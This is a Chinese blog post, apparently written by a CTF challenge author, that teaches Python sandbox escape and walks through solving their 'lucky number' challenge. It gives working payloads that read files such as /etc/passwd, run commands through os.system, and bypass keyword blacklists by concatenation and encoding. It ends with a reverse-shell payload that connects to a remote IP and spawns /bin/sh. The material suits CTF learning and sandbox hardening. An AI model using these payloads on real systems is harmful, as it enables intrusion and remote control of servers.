python沙箱逃逸学习笔记


MakerCTF上我写的一道题,叫幸运数字,做的状况不太好……其实当时没打算出难,应该是因为提示给的不到位2333,也算是总结经验了。但平时web题还是以PHP为主,可能很多同学对这方面的了解不是太多,在这里稍微做点总结,希望可以帮到大家。
题目链接: https://github.com/yonghumingzi/lucky_number

0x01基础知识:

我们看到wp里有形如“[].__class__.__base__.__subclasses__()[40](’./flag/flag.txt’, ‘r’).read()”的payload,那么就来研究一下这些属性或方法的含义。

我们知道python中一切皆对象,就连类实际上也可被称为对象。现在来列举一些:

1.__class__
返回一个实例所属的类
2.__dict__
返回一个对象所有的属性和方法
3.__base__和__bases__
__base__返回一个类所继承的上一个类,__bases__存的是一个类所继承的除object以外的所有基类,返回值是一个元组。测试代码:

class ex1:
  pass

class ex2(ex1):
  pass

class ex3(ex1, ex2):
  pass

ins1 = ex2()
ins2 = ex3()
print ins1.__class__.__bases__
print ins2.__class__.__bases__

得到:

(<class __main__.ex1 at 0x0000000005758A08>,)
(<class __main__.ex1 at 0x0000000005758A08>, <class __main__.ex2 at 0x0000000005758AC8>)

有趣的是,python2里如果不在定义类时加上(object),则不会继承object类,而在python3里,object类会默认继承object类。
4.__mro__
与__base__和__bases__类似,不过__mro__得到的是一个完整的继承链条,返回一个元组。

class ex(object):
  pass

print ex.__mro__
#Output: (<class '__main__.ex'>, <type 'object'>)

5.__subclasses__()
是一个内置方法,获取一个类所有的子类,返回值是一个列表。
6.__globals__、func_globals
函数或方法的属性,获得其作用域的名称空间,即所有的全局变量、方法和模块,返回值是字典。两者指向的是相同的,不过func_globals在python3里废弃了。
7.__builtins__和__builtin__、builtins
python里有一个很重要的概念,叫名称空间,所谓名称空间,就是python名称到对象的映射关系,可以表现为一个字典。python中变量名其实都是对对象的引用,可以说python里变量名和对象是分离的,变量名就好比指针。对引用有所疑惑的可以看这篇文章。理解好引用对下面内容的理解很有帮助。
python运行时,至少会有两个名称空间,一个是内建名称空间,一个是由全局变量映射组成的全局名称空间,还可以有自己定义的局部名称空间,就是在函数内部的局部映射。那么什么是内建名称空间呢?
python启动时,解释器(descriptor)会向内存中导入许多内建函数和方法,无需我们导入就可以之间使用。而准确来说,是解释器加载了内建名称空间,内建名称空间包含着内建函数名称和内建函数本身之间的映射。以下内容借鉴于一篇51CTO博客
__builtins__里就包含了所有内建函数,而__builtin__需要导入(py3里叫builtins)
测试代码,命名为test.py

import __builtin__

print dir(__builtin__)
print dir(__builtins__)
print __builtin__ == __builtins__
print __builtin__ is __builtins__
print id(__builtin__)
print id(__builtins__)

print __builtin__.__dict__ == __builtins__
print __builtin__.__dict__ is __builtins__
print id(__builtin__.__dict__)
print id(__builtins__)

我们发现__builtins__和__builtin__完全相同,但如果我们在另一个文件里import test,则发现此时__builtins__与__builtin__相同。
简言之,在主模块里__builtins__是对__builtin__的引用,而不在主模块里则是直接对__builtin__.__dict__这个字典的引用。

在沙箱逃逸中常常会接触内置名称空间,看如果我们删除了内置函数,会有怎样的效果:
在这里插入图片描述
所以有时python环境会通过这样的方式去过掉一些危险函数:

for black in black_list: 
   del builtins.dict[black]

但如果没有过滤reload,就能通过reload(__builtins__)来恢复。但导入__builtin__后是没用的,因为__builtins__是对__builtin__的引用,它们的地址空间是一致的,删除了一个自然会影响到另一个。
所以想要过滤全,也需将内置函数reload过滤。
8.__getattribute__和__getattr__
__getattribute__会在一个实例访问属性的时候自动被调用
__getattr__会在找不到相应属性时被调用。
测试,代码改自一篇文章:

class C(object):  
  a = 'abc'
  def __getattribute__(self, *args, **kwargs):
  	print "__getattribute__() is called"
  	return object.__getattribute__(self, *args, **kwargs)
  def __getattr__(self, name):
  	print "__getattr__() is called"
  	return name + " from getattr"
  def foo(self):
  	print 'hello'
if __name__ == '__main__': 
  c = C()
  print c.a
  print c.zzzzzzzzz
  c.foo()
  c.__getattribute__("foo")()

输出:

__getattribute__() is called
abc
__getattribute__() is called
__getattr__() is called
zzzzzzzzz from getattr
__getattribute__() is called
hello
__getattribute__() is called
__getattribute__() is called
hello

实际上我们使用ex.xxx时,调用的是ex.__getattribute(‘xxx’),测试代码中直接调用__getattribute__时,也触发了自己。
所以在沙箱逃逸中,我们可以使用__getattrbute__调用想要调用的内置魔术方法,像这样:
__init__.__getattribute__(’__globals__’)
但如果__globals__被过滤了呢?那也好说,拼接一下就行了:
__init__.__getattribute__(’__global’+‘s__’)
9.__import__
内置方法,用于动态载入模块。也可用于绕过,像这样:
在这里插入图片描述

0x02逃逸姿势小结(以下内容主要基于python2.7.13):

1.文件读写
有了上面的基础知识,我们就知道,对一个序列调用__class__属性,会得到“序列”类,再对这个类使用__base__,会得到这个类继承的python元类:object,再使用__subclasses__()就能得到元类的所有子类,再从中找到想要的类。

print [].__class__
print [].__class__.__base__
print [].__class__.__base__.__subclasses__()
print [].__class__.__base__.__subclasses__()[40]

测试完成后,我们发现序号40的是一个文件类:“<type ‘file’>”
那么我们可以使用文件类来读和写,像这样:

[].__class__.__base__.__subclasses__()[40]('/etc/passwd', 'r').read()
[].__class__.__base__.__subclasses__()[40]('/tmp/test', 'w').write('...')

2.命令执行
当我们导出元类object类后,对于它下面的子类,我们可以利用它的构造方法“__init__”的“__globals__”属性找到它作用域下的模块,可能就有模块包含os、eval之类的方法。下面的脚本改自bendawang的文章

items = [].__class__.__base__.__subclasses__()
cnt=0
for item in items:
  try:
      if 'os' in item.__init__.__globals__:
          print cnt, item
      cnt+=1
  except:
      print "error",cnt,item
      cnt+=1
      continue

这样就能找到作用域里含os映射的类。
pic8
于是通过os进行命令执行:

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].__dict__['system']('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].__getattribute__('system')('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__globals__')['os'].system('ls')

其实也不一定一定用os,还有很多其他的思路:
(1)linecache:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

其中序号59的类init方法中包含了对linecache的映射。
(2)__builtins__配合内置函数,如eval,map,file,execfile等:

"".__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').system('ls')")
"".__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['__builtins__']['map'](__import__('os').system, ['ls'])
"".__class__.__mro__[-1].__subclasses__()[79].__init__.__globals__['__builtins__']['file']('/etc/password').read()

(3)甚至直接自定义一个函数,引出__builtins__:

(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
(lambda x:1).__globals__['__builtins__'].__dict__['eval']("__import__('os').system('ls')")

3.小技巧:
(1)拼接绕过
最简单的,比如过滤了’os’,像上面通过__globals__、__getattribute__或__dict__以字符串形式从字典引出的话,即可通过__globals__[‘o’+‘s’]绕过
(2)编码绕过
比如还是过滤了’os’,‘os’的base64编码是’b3M=’,可以这样:__globals__[‘b3M=’.decode(‘base64’)]。还可以__globals__[‘bf’.decode(‘rot13’)]
(3)循环,通过循环定位需要的类,因为python版本等原因有时不确定所需类的序号,通过这样的方式可找出:
[x for x in [].__class__.__base__.__subclasses__() if ‘warning’ in x.__name__][0].__init__.__globals__[‘os’].system(‘ls’)

经过探究发现了一个神奇的事实,python3里object的子类竟然是随机的,所以无法像python2那样找到特定的__subclasses__()序号。我们只能去固定可以命令执行的类,再加以利用。像这些类是可以用来命令执行的:<class ‘subprocess.Popen’>、<class ‘warnings.WarningMessage’>、<class ‘warnings.catch_warnings’>等。

0x03攻破幸运数字:

幸运数字一题本意只是希望读到flag,并不希望命令执行。不过fish师傅后来研究发现题目是可以命令执行的,也是怪自己当时了解还不全面,这次学习了。
幸运数字过滤了这些:

black_list = ['import', 'eval', 'exec', 'assert', '__dict__', '__globals__', '__init__', '__builtin__', '__builtins__', '__call__', 'reload', 'write','execfile', 'system', 'popen', 'decode', 'encode']

不过里面的__globals__可以用func_globals代替,__dict__可用__getattribute__绕过,‘os’、'system’等可用拼接来绕,而__init__也可用其他姿势绕过。
常规办法:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

绕过姿势:

[].__class__.__base__.__subclasses__()[59]()._module.linecache.__getattribute__('o'+'s').__getattribute__('sys'+'tem')('l'+'s')

利用了catch_warnings()函数下的_module属性,全用__getattribute__,毕竟没有过滤__getattribute__嘛~(其实如果没过滤__builtins__也可以考虑用它):

[].__class__.__base__.__subclasses__()[59]().__getattribute__('_module').__getattribute__('linecache').__getattribute__('o'+'s').__getattribute__('sys'+'tem')('l'+'s')

效果:
在这里插入图片描述
在这里插入图片描述
服务端回显:
在这里插入图片描述
反弹shell的payload:

{{[].__class__.__base__.__subclasses__()[59]().__getattribute__('_module').__getattribute__('linecache').__getattribute__('o'+'s').__getattribute__('sys'+'tem')("python -c 'i"+"mport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.86.129\",23333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")}}

成功反弹shell:
在这里插入图片描述
在这里插入图片描述
参考文章:
https://xz.aliyun.com/t/2308
http://blog.51cto.com/xpleaf/1764849
https://draapho.github.io/2016/11/21/1618-python-variable/
https://www.cnblogs.com/saolv/p/6890645.html
http://blog.isis.poly.edu/ctf/exploitation techniques/2012/10/26/escaping-python-sandboxes/
http://bendawang.site/2018/03/01/关于Python-sec的一些总结/
https://zolmeister.com/2013/05/escaping-python-sandbox.html
https://blog.csdn.net/qq_35078631/article/details/78504415
https://www.cnblogs.com/jasonzeng888/p/6477752.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值